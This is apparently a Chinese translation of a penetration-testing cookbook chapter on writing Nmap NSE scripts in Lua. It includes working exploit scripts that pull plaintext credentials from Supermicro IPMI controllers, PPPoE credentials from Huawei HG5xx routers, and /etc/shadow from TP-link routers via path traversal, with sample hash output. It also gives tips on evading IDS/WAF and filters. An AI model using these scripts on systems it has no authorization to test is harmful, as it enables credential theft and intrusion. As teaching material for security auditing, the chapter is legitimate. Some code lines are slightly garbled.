NMAP:网络探索和安全审计手册 Chapter11 编写自己的 NSE 脚本

在本章中,我们将介绍以下秘诀,帮助您开始编写 NSE 脚本:

  • 发出 HTTP 请求以识别易受攻击的超微 IPMI/BMC 控制器

  • 使用 NSE 套接字发送 UDP 有效载荷

  • 在 NSE 脚本中生成漏洞报告

  • 使用 NSE 利用路径遍历漏洞

  • 编写暴力密码审计脚本

  • 抓取网络服务器以检测漏洞

  • 在 NSE 中使用 NSE 线程、条件变量和互斥器

  • 用 Lua 编写新的 NSE 库

  • 用 C/C++ 编写新的 NSE 库

  • 为提交脚本做好准备

引言

Nmap 脚本引擎(Nmap Scripting Engine)于 2007 年在 4.5 版中推出,它利用在网络扫描过程中收集到的信息和脚本语言 Lua 执行的附加任务,将其功能扩展到了一个全新的水平。这一功能本身已成为一个完整的武器库,其中已正式包含近 600 个脚本,正如你在本书中学到的那样。

Lua 是一种脚本语言,目前在 Wireshark、Suricata、Snort 甚至 Adobe Photoshop 等其他重要项目中都有使用。作为一名 NSE 开发人员,我对 Lua 的使用体验非常积极。这种语言非常强大和灵活,而且语法清晰易学。由于 Lua 编程本身就是一个完整的主题,请参阅附录 E《Lua 简介》,如果需要深入了解,请阅读 http://www.lua.org/manual/5.3/ 上的官方参考手册。

Nmap 脚本引擎目前使用 Lua 5.3,但将来可能会改变。

要了解它的具体工作原理,让我们来看看开发人员可以获得的信息。每个 NSE 脚本接收两个参数:主机表和端口表。它们包含在发现或端口扫描过程中收集到的信息,有些信息字段只有在启用某些 Nmap 选项时才会填充。例如,我们通常可以找到这些字段:

  • host.os: 这是包含操作系统匹配数组的表格(需要使用 -O 标志)
  • host.ip:这是目标 IP
  • host.name: 如果有反向 DNS 条目,则返回该条目

另一方面,端口表可能包含以下内容:

  • port.number: 端口号
  • port.protocol:端口协议
  • port.service: 服务名称
  • port.version: 服务版本
  • port.state: 端口状态

有关字段的完整列表,请访问 http://nmap.org/book/nse-api.html#nse-api-arguments。

基本上,Nmap 可以收集的每一点信息都可以通过 Nmap 脚本引擎界面获得。Nmap 脚本引擎提供的灵活性和信息的结合,使渗透测试人员和系统管理员在编写脚本自动执行任务时节省了大量开发时间。

Nmap 背后的社区令人惊叹,协作性非常强。我可以说他们是开源社区中最有激情的人。每周都有新的脚本和库加入,这也是渗透测试人员需要保持最新开发快照的原因。

为了纪念 David Fifield 和 Fyodor 在 Defcon 2010 中介绍 Nmap 脚本引擎的演讲,他们编写了一个脚本来检测易受攻击的 httpd 网络摄像头,我们将从编写自己的 NSE 脚本开始,检测易受攻击的超微 IPMI/BMC 控制器;虽然不完全是网络摄像头,但只需一个请求就能入侵。

在本章中,你还将学习如何编写 NSE 脚本来执行暴力密码审计,以及如何使用 HTTP 爬虫库来自动进行安全检查。我们将讨论处理 NSE 套接字和原始数据包以利用漏洞的脚本。我们还将介绍一些 NSE 库,这些库允许我们执行一些常见任务,如发送 HTTP 请求、管理找到的凭据以及向用户报告漏洞。

Nmap 脚本引擎发展迅速,脚本库增长更快。由于篇幅有限,我们不可能涵盖本项目已有的所有优秀 NSE 脚本和库,但我还是邀请您访问我的个人网站 http://calderonpale.com,以获取我今后将发布的更多配方和脚本示例。

我希望,在阅读了我为您挑选的秘诀后,您将学会所有必要的工具,以应对更具挑战性的任务。把调试模式作为你的朋友 (-d[1-9]),当然,别忘了把你的脚本或补丁发送到 http://insecure.org/,为这个了不起的项目做出贡献。

如果你是第一次编写脚本,我建议你下载并学习脚本的整体结构和必要字段。我上传了我使用的模板,您可以访问 https://github.com/cldrn/nmap-nse-scripts/blob/master/nse-script-template.nse。

罗恩-鲍斯(Ron Bowes)也为 NSE 脚本写了一个非常详细的模板,网址是 http://nmap.org/svn/docs/sample-script.nse。最后,NSE 脚本格式的完整文档可在 http://nmap.org/book/nse-script-format.html 上找到。

发送 HTTP 请求以识别易受攻击的超微 IPMI/BMC 控制器

Nmap 脚本引擎有一个处理 HTTP 客户端请求和其他常用功能的库。利用 HTTP NSE 库,NSE 开发人员可以完成从信息收集到网络应用程序漏洞利用等多项任务。

本教程将向您展示如何使用 http NSE 库发送 HTTP 请求,以识别易受攻击的超微 IPMI/BMC 控制器。

How to do it...

某些超微 IPMI/BMC 控制器允许在未经验证的情况下访问存储纯文本管理凭据的配置文件 (/PSBlock)。让我们编写一个简单的 NSE 脚本来检测这些易受攻击的控制器。

现在,让我们忽略文档标签,保持简单:

  1. 创建 supermicro-psblock.nse 文件,首先填写 NSE 脚本基本信息字段:

     description = [[
     Attempts to download an unprotected configuration file
     containing plain-text user credentials in vulnerable Supermicro
     Onboard IPMI controllers.
     The script connects to port 49152 and issues a request for
     "/PSBlock" to download the file. This configuration file
     contains users with their passwords in plain text.
     ]]
     categories = {"exploit","vuln"}
    
  2. 我们加载需要的库。请注意,此格式适用于 Nmap 6.x 及更新版本:

     local http = require "http"
     local shortport = require "shortport"
     local stdnse = require "stdnse"
    
  3. 接下来,我们定义执行规则。我们使用 shortport.portnumber NSE 函数告诉 Nmap 在 TCP 端口 49152 打开时执行脚本:

     portrule = shortport.portnumber(49152, "tcp") 
    
  4. 最后,我们的主函数将向 /PSBlock 发送 HTTP 请求,并检查状态代码和正文长度:

     action = function(host, port)
     local open_session = http.get(host.ip, port, "/PSBlock")
     if open_session and open_session.status ==200 and
     string.len(open_session.body)>200 then
     stdnse.debug(1, "/PSBlock returned status 200.")
     return "Vulnerable controller. Exposed configuration file."
     end
    
  5. 现在只需针对目标运行 NSE 脚本即可:

    $ nmap -p 49152 --script ./supermicro-psblock.nse <target> 
    
  6. 如果针对易受攻击的 IPMI/BMC 控制器启动该脚本,将看到以下输出:

     PORT STATE SERVICE REASON
     49152/tcp open http syn-ack
     |_supermicro-psblock: Vulnerable controller. Exposed configuration
     file.
    

完整的脚本和文档标签可从 https://nmap.org/nsedoc/scripts/supermicro-ipmi-conf.html 下载。

How it works...

在脚本 supermicro-psblock.nse 中,我们使用 shortport.portnumber 函数定义了执行规则:

 portrule = shortport.portnumber(49152, "tcp") 

http NSE 库中有 http.head()、http.get() 和 http.post()等方法,分别对应常见的 HTTP 方法 HEAD、GET 和 POST,但它也有一个名为 http.generic_request() 的通用方法,为可能想尝试更多生僻 HTTP 动词的开发人员提供更多灵活性。

在脚本 supermicro-psblock 中,我们使用 http.get() 函数检索 URI /PSBlock:

 local open_session = http.get(host.ip, port, "/PSBlock") 

http.get() 函数会返回一个包含以下响应信息的表格:

  • status-line: 其中包含返回的状态行。例如,HTTP/1.1 404 Not Found。
  • status: 其中包含网络服务器返回的状态代码。
  • body: 其中包含响应正文。
  • cookies: 这是网络服务器设置的 cookie 列表。
  • header:这是一个关联表,用于存储返回的标头。头信息的名称用作索引。例如,header["server"] 包含网络服务器返回的服务器字段。
  • rawheader: 标题的编号数组,顺序与网络服务器发送的顺序相同。
  • location: 跟踪的 HTTP 重定向列表。

超微-psblock.nse 脚本中也使用了 stdnse 库。该库收集了一些杂项函数,在编写 NSE 脚本时非常有用。脚本使用 stdnse.debug() 函数打印调试信息:

 stdnse.debug(<debug level required>, <format string>, arg1, arg2...) 

这些库的完整文档可在 http://nmap.org/nsedoc/lib/http.htmlhttp://nmap.org/nsedoc/lib/stdnse.html 上找到。

There's more...

有些网络服务器在页面不存在时不会返回常规状态 404 代码,而是一直返回状态代码 200。这是一个经常被忽视的方面;请记住,200 并不意味着 URI 一定存在,以避免在我们的脚本中出现误报。我们创建了 http.identify_404() 和 http.page_exists() 函数,用于识别服务器是否返回常规的 404 响应,以及指定页面是否存在:

 local status_404, req_404, page_404 = http.identify_404 (host, port) 

如果 http.identify_404(host, port) 函数成功执行,我们就可以使用 http.page_exists():

 if http.page_exists(data, req_404, page_404, uri, true) then 
 stdnse.print_debug(1, "Page exists! → %s", uri) 
 end 

有关调试 NSE 脚本执行的更多信息,请参阅附录 C "NSE 调试"。

实用地设置用户代理

有些数据包过滤产品会阻止使用 Nmap 默认 HTTP 用户代理的请求。您可以通过设置参数 http.useragent,使用不同的用户代理值:

$ nmap -p80 --script http-sqli-finder --script-args http.useragent="Mozilla 42" <target> 

要在 NSE 脚本中设置用户代理,可以通过头字段,如下所示:

 options = {header={}} 
 options['header']['User-Agent'] = "Mozilla/9.1 (compatible; Windows  NT 5.0 build 1420;)" 
 local req = http.get(host, port, uri, options) 

HTTP pipelining

某些网络服务器的配置支持在单个数据包中封装多个 HTTP 请求。这可能会加快 NSE HTTP 脚本的执行速度,如果网络服务器支持,建议您使用它。默认情况下,http 库会尝试管道式处理 40 个请求,并根据网络条件和 Keep-Alive 标头自动调整请求数。

用户需要设置脚本参数 http.pipeline 来调整该值:

$ nmap -p80 --script http-methods --script-args http.pipeline=25 <target> 

要在 NSE 脚本中实现 HTTP 管道化,请使用 http.pipeline_add() 和 http.pipeline() 函数。首先,启动一个变量来保存请求:

 local reqs = nil 

使用 http.pipeline_add() 将请求添加到管道中:

 reqs = http.pipeline_add('/Trace.axd', nil, reqs) 
 reqs = http.pipeline_add('/trace.axd', nil, reqs) 
 reqs = http.pipeline_add('/Web.config.old', nil, reqs) 

添加请求完成后,使用 http.pipeline() 执行管道:

 local results = http.pipeline (target, 80, reqs) 

变量 results 将包含添加到 HTTP 请求队列中的响应对象的数量。要访问这些对象,只需遍历对象即可:

for i, req in pairs(results) do 

 stdnse.print_debug(1, "Request #%d returned status %d", I, 

 req.status) 

 end 

使用 NSE 套接字发送 UDP 有效载荷

Nmap 脚本引擎通过提供 Nsock 接口,为处理网络 I/O 操作提供了一个强大的库。Nsock 是 Nmap 优化的并行套接字库,它的灵活性允许开发人员处理原始数据包,并决定使用阻塞或非阻塞网络 I/O 操作。

本教程将介绍如何编写一个 NSE 脚本,从文件中读取有效载荷并发送 UDP 数据包,以利用华为 HG5xx 路由器中的一个漏洞,从而突出 NSE 套接字的简单易行。

How to do it...

华为 HG5xx 路由器在接收到 UDP 端口 43690 的特殊数据包时会泄露敏感信息。这个漏洞引起了我的注意,因为这是一个非常流行的远程设备,可以获取有趣的信息,如 PPPoE 凭据、MAC 地址和准确的软件/固件版本。让我们编写一个脚本来利用这些设备:

  1. 首先,创建文件 huawei-hg5xx-udpinfo.nse,并定义所需的信息标记:

     description=[[
     Tries to obtain the PPPoE credentials, MAC address, firmware
     version and IP information of the aDSL modems
     Huawei Echolife 520, 520b, 530 and possibly others by exploiting
     an information disclosure vulnerability via UDP.
     The script works by sending a crafted UDP packet to port 43690
     and then parsing the response that containsthe configuration
     values. This exploit has been reported to be blocked in some
     ISPs, in those cases the exploit seems to work fine in local
     networks.
     Vulnerability discovered by Pedro Joaquin. No CVE assigned.
     References:
     * http://www.hakim.ws/huawei/HG520_udpinfo.tar.gz
     * http://websec.ca/advisories/view/Huawei-HG520c-3.10.18.x-
     information-disclosure
     ]]
    
  2. 加载所需的库(Nmap 6.x 格式):

     local "stdnse" = require "stdnse"
     local "io" = require "io"
     local "shortport" = require "shortport"
    
  3. 定义执行规则:

 portrule = shortport.portnumber(43690, "udp", {"open",  "open|filtered","filtered"}) 
  1. 创建一个函数,从文件中加载 UDP 有效载荷:

     load_udp_payload = function()
     local payload_l = nmap.fetchfile(PAYLOAD_LOCATION)
     if (not(payload_l)) then
     stdnse.debug(1, "%s:Couldn't locate payload %s",
     SCRIPT_NAME, PAYLOAD_LOCATION)
     return
     end
     local payload_h = io.open(payload_l, "rb")
     local payload = payload_h:read("*a")
     if (not(payload)) then
     stdnse.debug(1, "%s:Couldn't load payload %s",
     SCRIPT_NAME, payload_l)
     if nmap.verbosity()>=2 then
     return "[Error] Couldn't load payload"
     end
     return
     end
     payload_h:flush()
     payload_h:close()
     return payload
     end
    
  2. 创建一个函数,用于创建 NSE 套接字并发送特殊的 UDP 数据包:

     send_udp_payload = function(ip, timeout, payload)
     local data
     stdnse.debug(2, "%s:Sending UDP payload", SCRIPT_NAME)
     local socket = nmap.new_socket("udp")
     socket:set_timeout(tonumber(timeout))
     local status = socket:connect(ip, HUAWEI_UDP_PORT,"udp")
     if (not(status)) then return end
     status = socket:send(payload)
     if (not(status)) then return end
     status, data = socket:receive()
     if (not(status)) then
     socket:close()
     return
     end
     socket:close()
     return data
     end
    
  3. 添加 main 方法,该方法将加载并发送 UDP 有效载荷:

     action = function(host, port)
     local timeout = stdnse.get_script_args
     (SCRIPT_NAME..".timeout")
     or 3000
     local payload = load_udp_payload()
     local response = send_udp_payload(host.ip, timeout, payload)
     if response then
     return parse_resp(response)
     end
     end
    
  4. 您可以使用以下命令运行最终脚本:

    # nmap -sU -p43690 --script huawei-hg5xx-udpinfo <target> 
    
  5. 易受攻击的设备将返回以下输出:

    PORT STATE SERVICE REASON
     -- 43690/udp open|filtered unknown no-response
     -- |_huawei5xx-udp-info: |\x10||||||||<Firmware
    version>|||||||||||||||||||||||||||||||<MAC addr>|||<Software
    version>||||||||||||||||||||||||||||||||||||||||||||| <local
    ip>|||||||||||||||||||<remote
    ip>||||||||||||||||||<model>|||||||||||||||<pppoe
    user>|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||<pppoe password>
    

How it works...

我们的 huaweii-hg5xx-udpinfo 脚本使用别名 shortport.portnumber(ports, protos, states) 定义了执行规则。如果 UDP 端口 43690 处于打开、打开|过滤或过滤状态,我们的脚本就会运行:

 portrule = shortport.portnumber(43690, "udp", {"open", "open|filtered","filtered"}) 

读取 NSE 脚本参数有几种不同的方法,但推荐使用的函数是 stdnse.get_script_args()。该函数允许多次赋值,并支持速记赋值(不必在参数名称前键入脚本名称):

 local timeout = stdnse.get_script_args(SCRIPT_NAME..".timeout") or 3000 

NSE 套接字由 nmap 库管理。要创建 NSE 套接字,请使用函数 nmap.new_socket(),要连接该套接字,请使用 connect():

 local socket = nmap.new_socket("udp") 
 socket:set_timeout(tonumber(timeout)) 
 local status = socket:connect(ip, HUAWEI_UDP_PORT, "udp") 

我们发送 UDP 有效载荷的方式如下:

 status = socket:send(payload) 

我们阅读了 NSE 插座的回复:

 status, data = socket:receive() 

与往常一样,我们需要使用函数 close() 关闭套接字:

 local socket = nmap.net_socket("udp") 
 ... 
 socket:close() 

现在我们可以处理接收到的数据了。在本例中,我将替换空字符,使输出更易于阅读:

return data:gsub("%z", "|") 

您可以从 https://github.com/cldrn/nmap-nse-scripts/blob/master/scripts/huawei5xx-udp-info.nse 下载完整的脚本。

There's more...

huaweii-hg5xx-udp-info 脚本使用标准的连接方式,即创建套接字、建立连接、发送和/或接收数据以及关闭连接。

如果需要更多控制,nmap 库也支持读写原始数据包。脚本引擎通过 Nsock 使用 libpcap 封装器读取原始数据包,并可在以太网或 IP 层发送。

读取原始数据包时,需要打开捕获设备并注册一个监听器,以便在数据包到达时对其进行处理。pcap_open()、pcap_receive() 和 pcap_close() 函数分别对应于打开捕获设备、接收数据包和关闭监听器。我建议您查看 sniffer-detect (http://nmap.org/nsedoc/scripts/sniffer-detect.html)、firewalk (http://nmap.org/svn/scripts/firewalk.nse) 和 ipidseq (http://nmap.org/svn/scripts/ipidseq.nse) 脚本。

如果需要发送原始数据包,可使用 nmap.new_dnet() 创建一个 dnet 对象,然后根据层(IP 或以太网)使用 ip_open() 或 ethernet_open() 方法打开连接。要实际发送原始数据包,可酌情使用 ip_send() 或 ethernet_send() 函数。以下来自脚本 ipidseq.nse 的代码段说明了这一过程:

 local genericpkt = function(host, port)
 local pkt = bin.pack("H",
 "4500 002c 55d1 0000 8006 0000 0000 0000" ..
 "0000 0000 0000 0000 0000 0000 0000 0000" ..
 "6002 0c00 0000 0000 0204 05b4"
 )
 local tcp = packet.Packet:new(pkt, pkt:len())
 tcp:ip_set_bin_src(host.bin_ip_src)
 tcp:ip_set_bin_dst(host.bin_ip)
 tcp:tcp_set_dport(port)
 updatepkt(tcp)
 return tcp
 end
 ...
 local sock = nmap.new_dnet()
 try(sock:ip_open())
 try(sock:ip_send(tcp.buf))
 sock:ip_close()

我建议您阅读这些库的全部文档(https://nmap.org/nsedoc/lib/nmap.html)。如果您正在处理原始数据包,库数据包也会对您有很大帮助 (http://nmap.org/nsedoc/lib/packet.html)。

有关调试 NSE 脚本执行的更多信息,请参阅附录 C "NSE 调试"。

在 NSE 脚本中生成漏洞报告

Nmap 脚本引擎(Nmap Scripting Engine)是检测漏洞的完美工具,因此,Nmap 已经包含了多个漏洞利用脚本。不久前,每个开发人员在报告这些漏洞时都使用自己的标准来确定输出内容。为了解决这个问题并统一输出格式和所提供的信息量,我们引入了一个新的 NSE 库。

本食谱将教您如何使用库 vulns 在 NSE 脚本中生成漏洞报告。

How to do it...

报告 NSE 漏洞的正确方法是通过库 vulns。让我们回顾一下报告漏洞的过程:

  1. 在脚本中加载漏洞库:

     local vulns = require "vulns" 
    
  2. 创建一个 vuln 对象表。特别注意状态字段:

     local vuln = { title = "<TITLE GOES HERE>",
     state = vulns.STATE.NOT_VULN,
     references = {"<URL1>", "URL2"},
     description = [[<DESCRIPTION GOES HERE> ]],
     IDS = {CVE = "<CVE ID>", BID = "BID ID"},
     risk_factor = "High/Medium/Low" }
    
  3. 创建报告对象并报告漏洞:

     local vuln_report = new vulns.Report:new(SCRIPT_NAME, host, port) 
     return vuln_report:make_output(vuln) 
    
  4. 如果状态设置为 "易受攻击",Nmap 将包含类似的漏洞报告:

     PORT STATE SERVICE REASON
     80/tcp open http syn-ack
     http-vuln-cve2012-1823:
     VULNERABLE:
     PHP-CGI Remote code execution and source code
     disclosure
     State: VULNERABLE (Exploitable)
     IDs: CVE:2012-1823
     Description:
     According to PHP's website, "PHP is a widely-used
     general-purpose
     scripting language that is especially suited for
     Web development and
     can be embedded into HTML." When PHP is used in a
     CGI-based setup
     (such as Apache's mod_cgid), the php-cgi receives
     a processed query
     string parameter as command line arguments which
     allows command-line
     switches, such as -s, -d or -c to be passed to the
     php-cgi binary,
     which can be exploited to disclose source code and
     obtain arbitrary
     code execution.
     Disclosure date: 2012-05-3
     Extra information:
     Proof of Concept:/index.php?-s
     References:
     http://eindbazen.net/2012/05/php-cgi-advisory-cve-
     2012-1823/
     http://cve.mitre.org/cgi-
     bin/cvename.cgi?name=2012-1823
     http://ompldr.org/vZGxxaQ
    

How it works...

vulns 库由 Djalal Harouni 和 Henri Doreau 引入,用于统一执行漏洞检查的 NSE 脚本返回的输出。该库还会跟踪已完成的安全检查,这对于希望列出安全检查(即使目标不存在漏洞)的用户来说是一个非常有用的功能。.

漏洞表可以包含以下字段:

  • title: 此字符串表示漏洞的标题。此字段为必填字段。
  • state: 此字段表示漏洞检查的不同可能状态。该字段为必填字段。所有可能的值请参见表 vulns.STATE。
  • IDS: 存储 CVE 和 BID ID 的字段。它用于自动生成咨询 URL。
  • risk_factor: 该字符串表示风险因素:高/中/低。
  • scores: 此字段存储 CVSS 和 CVSSv2 分数。
  • description: 这就是对漏洞的描述。
  • dates: 这是与此漏洞相关的日期字段。
  • check_results: 这是用于存储返回结果的字符串或字符串列表。
  • exploit_results: 这是用于存储开发结果的字符串或字符串列表。
  • extra_info: 这是用于存储附加信息的字符串或字符串列表。
  • references: 这是作为引用包含的 URI 列表。如果设置了表 IDS,库将自动为 CVE 和 BID 链接生成 URI。

如前所述,在 NSE 中报告漏洞的程序非常简单。首先,我们创建一个包含所有漏洞信息的表:

 local vuln = { title = "<TITLE GOES HERE>", state = vulns.STATE.NOT_VULN, ... } 

要向用户报告,我们需要一个报告对象:

local vuln_report = new vulns.Report:new(SCRIPT_NAME, host, port) 

在包含该库的 NSE 脚本中,您应该使用的最后一个函数是 make_output()。如果发现目标存在漏洞,该函数将生成并显示报告;如果没有发现漏洞,该函数将返回 nil:

 return vuln_report:make_output(vuln) 

如果您想了解更多使用该库的 NSE 脚本,请访问 http://nmap.org/nsedoc/categories/vuln.html。

There's more...

您可以告诉 Nmap 使用库参数 vulns.showall 报告所有执行的漏洞检查:

# nmap -sV --script vuln --script-args vulns.showall <target> 

将显示所有漏洞检查的列表:

 | http-vuln-cve2011-3192:
 | VULNERABLE:
 | Apache byterange filter DoS
 | State: VULNERABLE
 | IDs: CVE:CVE-2011-3192 OSVDB:74721
 | Description:
 | The Apache web server is vulnerable to a denial of service
 attack when numerous
 | overlapping byte ranges are requested.
 | Disclosure date: 2011-08-19
 | References:
 | http://nessus.org/plugins/index.php?view=single&id=55976
 | http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3192
 | http://osvdb.org/74721
 |_ http://seclists.org/fulldisclosure/2011/Aug/175
 | http-vuln-cve2011-3368:
 | NOT VULNERABLE:
 | Apache mod_proxy Reverse Proxy Security Bypass
 | State: NOT VULNERABLE
 | IDs: CVE:CVE-2011-3368 OSVDB:76079
 | References:
 | http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3368
 |_ http://osvdb.org/76079

如果需要更大的灵活性,该库还可与规则前和规则后操作相结合。有关 NSE 库的在线文档,请访问 http://nmap.org/nsedoc/lib/vulns.html。

图书馆漏洞状态

vulns 库可以给主机标记可利用状态,用来向 Nmap 脚本引擎表明主机是否存在某些漏洞。

下面是 vulns 库中的一个片段,显示了支持的状态和报告中使用的相应字符串信息:

 STATE_MSG = {
 [STATE.LIKELY_VULN] = 'LIKELY VULNERABLE',
 [STATE.NOT_VULN] = 'NOT VULNERABLE',
 [STATE.VULN] = 'VULNERABLE',
 [STATE.DoS] = 'VULNERABLE (DoS)',
 [STATE.EXPLOIT] = 'VULNERABLE (Exploitable)',
 [bit.bor(STATE.DoS,STATE.VULN)] = 'VUNERABLE (DoS)',
 [bit.bor(STATE.EXPLOIT,STATE.VULN)] = 'VULNERABLE (Exploitable)',
 }

用 NSE 利用路径遍历漏洞

许多网络应用程序都存在路径遍历漏洞。Nmap NSE 使渗透测试人员能够快速编写脚本来利用这些漏洞。Lua 还支持字符串捕获,这对使用比正则表达式语法更简单的模式提取信息大有帮助。

本教程将教您如何编写 NSE 脚本,以利用某些型号的 TP-link 路由器中存在的路径遍历漏洞。

How to do it...

我们将编写一个 NSE 脚本,利用几个 TP-link 路由器中的路径遍历漏洞。我们将利用几个 NSE 库和 Lua 的字符串库:

  1. 创建文件 http-tplink-dir-traversal.nse,并填写所需的 NSE 信息标签:

     description = [[
     Exploits a directory traversal vulnerability existing in several
     TP-link wireless routers. Attackers may exploit this
     vulnerability to read any of the configuration and password
     files remotely and without authentication.
     This vulnerability was confirmed in models WR740N, WR740ND and
     WR2543ND but there are several models that use the same HTTP
     server so I believe they could be vulnerable as well. I
     appreciateany help confirming the vulnerability in other models.
     Advisory:
     * http://websec.ca/advisories/view/path-traversal-vulnerability-
     tplink-wdr740
     Other interesting files:
     * /tmp/topology.cnf (Wireless configuration)
     * /tmp/ath0.ap_bss (Wireless encryption key)
     ]]
    
  2. 加载所需的库:

     local http = require "http"
     local io = require "io"
     local shortport = require "shortport"
     local stdnse = require "stdnse"
     local string = require "string"
     local vulns = require "vulns"
    
  3. 借助短端口库定义执行规则:

    portrule = shortport.http 
    
  4. 编写一个函数来发送路径遍历请求,并确定网络应用程序是否存在漏洞:

     local function check_vuln(host, port)
     local evil_uri = "/help/../../etc/shadow"
     stdnse.debug(1, "%s:HTTP GET %s", SCRIPT_NAME, evil_uri)
     local response = http.get(host, port, evil_uri)
     if response.body and response.status==200 and
     response.body:match("root:") then
     stdnse.debug(1, "%s:Pattern 'root:' found.", SCRIPT_NAME,
     response.body)
     return true
     end
     return false
     end
    
  5. 借助 Lua 捕捉 (.*) 从响应中读取并解析文件:

     local _, _, rfile_content = string.find(response.body, 'SCRIPT> (.*)')
    
  6. 最后,用以下命令执行脚本:

    $ nmap -p80 --script http-tplink-dir-traversal.nse <target> 
    
  7. 易受攻击的设备将产生以下输出:

     -- @output
     -- PORT STATE SERVICE REASON
     -- 80/tcp open http syn-ack
     -- | http-tplink-dir-traversal:
     -- | VULNERABLE:
     -- | Path traversal vulnerability in several TP-link wireless routers
     -- | State: VULNERABLE (Exploitable)
     -- | Description:
     -- | Some TP-link wireless routers are vulnerable to a path traversal vulnerability that allows attackers to read configurations or any other file in the device.
     -- | This vulnerability can be exploited remotely and without authentication.
     -- | Confirmed vulnerable models: WR740N, WR740ND, WR2543ND
     -- | Possibly vulnerable (Based on the same firmware): WR743ND,WR842ND,WA-901ND,WR941N,WR941ND,WR1043ND,MR3220,MR3020,WR841N.
     -- | Disclosure date: 2012-06-18
     -- | Extra information:
     -- | /etc/shadow :
     -- |
     -- | root:$1$$zdlNHiCDxYDfeF4MZL.H3/:10933:0:99999:7:::
     -- | Admin:$1$$zdlNHiCDxYDfeF4MZL.H3/:10933:0:99999:7:::
     -- | bin::10933:0:99999:7:::
     -- | daemon::10933:0:99999:7:::
     -- | adm::10933:0:99999:7:::
     -- | lp:*:10933:0:99999:7:::
     -- | sync:*:10933:0:99999:7:::
     -- | shutdown:*:10933:0:99999:7:::
     -- | halt:*:10933:0:99999:7:::
     -- | uucp:*:10933:0:99999:7:::
     -- | operator:*:10933:0:99999:7:::
     -- | nobody::10933:0:99999:7:::
     -- | ap71::10933:0:99999:7:::
     -- |
     -- | References:
     -- |_ http://websec.ca/advisories/view/path-traversal-vulnerability-tplink-wdr740
    

How it works...

脚本 http-tplink-dir-traversal.nse 执行以下任务来利用所讨论的路径遍历漏洞:

  1. 首先,它会发送路径遍历请求,以确定安装是否存在漏洞。

  2. 如果安装存在漏洞,则从网络服务器发送的响应中提取所请求的文件。

  3. 向用户报告漏洞并提供概念证明。

在这种情况下,需要使用 http 库来发送包含路径遍历有效负载的 HTTP 请求。为了确定设备是否存在漏洞,我们请求访问 /etc/shadow 文件,因为我们知道所有设备中都存在该文件,而且其中必须有一个 root 账户:

 local response = http.get(host, port, "/help/../../../etc/shadow") 

响应体中应包含请求的文件,位于脚本标签 之后:

要确认可利用性,我们只需将响应正文与字符串 "root: "匹配即可:

 if response.body and response.status==200 and
 response.body:match("root:") then
 stdnse.print_debug(1, "%s:Pattern 'root:' found.", SCRIPT_NAME,
 response.body)
 return true
 end

Lua 捕捉允许开发人员提取与给定模式匹配的字符串。它们非常有用,我强烈建议你使用它们 (http://www.lua.org/pil/20.3.html):

 local _, _, rfile_content = string.find(response.body, 'SCRIPT>(.*)') 

一旦我们确认了漏洞,建议使用漏洞库报告它.

创建该库是为了统一各种 NSE 脚本使用的输出格式。它支持多个字段,以有组织的方式提供所有漏洞详细信息:

 local vuln = {
 title = 'Path traversal vulnerability in several TP-link
 wireless routers',
 state = vulns.STATE.NOT_VULN,
 description = [[
 Some TP-link wireless routers are vulnerable to a path traversal
 vulnerability that allows attackers to read configurations or any
 other file in the device.
 This vulnerability can be exploited without authentication.Confirmed
 vulnerable models: WR740N, WR740ND, WR2543ND
 Possibly vulnerable (Based on the same firmware):
 WR743ND,WR842ND,WA-
 901ND,WR941N,WR941ND,WR1043ND,MR3220,MR3020,WR841N.]],
 references = {
 'http://websec.ca/advisories/view/path-traversal-
 vulnerability-tplink-wdr740'
 },
 dates = {
 disclosure = {year = '2012', month = '06', day = '18'},
 },
 }
 local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)

vulns 库定义了以下状态:

 STATE_MSG = {
 [STATE.LIKELY_VULN] = 'LIKELY VULNERABLE',
 [STATE.NOT_VULN] = 'NOT VULNERABLE',
 [STATE.VULN] = 'VULNERABLE',
 [STATE.DoS] = 'VULNERABLE (DoS)',
 [STATE.EXPLOIT] = 'VULNERABLE (Exploitable)',
 [bit.bor(STATE.DoS,STATE.VULN)] = 'VUNERABLE (DoS)',
 [bit.bor(STATE.EXPLOIT,STATE.VULN)] = 'VULNERABLE (Exploitable)',
 }

要返回漏洞报告,请使用 make_output(vuln)。如果状态被设置为除 vulns.STATE.NOT_VULN 以外的任何值,该函数将返回一份漏洞报告:

 local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
 local vuln = { title = "VULN TITLE", ...}
 ...
 vuln.state = vulns.STATE.EXPLOIT
 ...
 vuln_report:make_output(vuln)

查看前面示例的脚本输出,了解使用 NSE 库 vulns 时的漏洞报告。

访问该库的官方文档,了解有关可能的报告字段及其用法的更多信息,请访问 http://nmap.org/nsedoc/lib/vulns.html。

There's more...

在编写 NSE 脚本以利用路径遍历漏洞时,请记住 IPS/IDS 供应商会创建补丁来识别您的检测探针。如果可能,我建议您使用所支持的最隐蔽的编码方案。在前面的例子中,应用程序无法正确读取其他编码,我们别无选择,只能使用众所周知的".../"模式,这种模式很容易被任何像样的 WAF/IPS/IDS 检测到。

我推荐使用工具 Dotdotpwn (http://dotdotpwn.blogspot.com/) 及其模块有效载荷,以便在利用路径遍历漏洞时定位模糊编码。理想情况下,您还可以编写一个小函数,在每次请求时随机使用不同的路径遍历模式:

local traversals = {"../", "%2f"} 

有关调试 NSE 脚本执行的更多信息,请参阅附录 C "NSE 调试"。

实用地设置用户代理

有些数据包过滤产品会阻止使用 Nmap 默认 HTTP 用户代理的请求。您可以通过设置参数 http.useragent,使用不同的用户代理值:

$ nmap -p80 --script http-sqli-finder --script-args http.useragent="Mozilla 42" <target> 

要在 NSE 脚本中设置用户代理,可以传递头域:

 options = {header={}}
 options['header']['User-Agent'] = "Mozilla/9.1 (compatible; Windows
 NT 5.0 build 1420;)"
 local req = http.get(host, port, uri, options)

HTTP pipelining

某些网络服务器配置支持在单个数据包中封装多个 HTTP 请求。这可能会加快 NSE HTTP 脚本的执行速度,如果网络服务器支持,建议您使用它。默认情况下,http 库会尝试管道式处理 40 个请求,并根据网络条件和 Keep-Alive 标头自动调整请求数。

用户需要设置脚本参数 http.pipeline 来调整该值:

$ nmap -p80 --script http-methods --script-args http.pipeline=25 <target> 

要在 NSE 脚本中实现 HTTP 管道化,请使用 http.pipeline_add() 和 http.pipeline() 函数。首先,启动一个变量来保存请求:

 local reqs = nil 

使用 http.pipeline_add() 将请求添加到管道中:

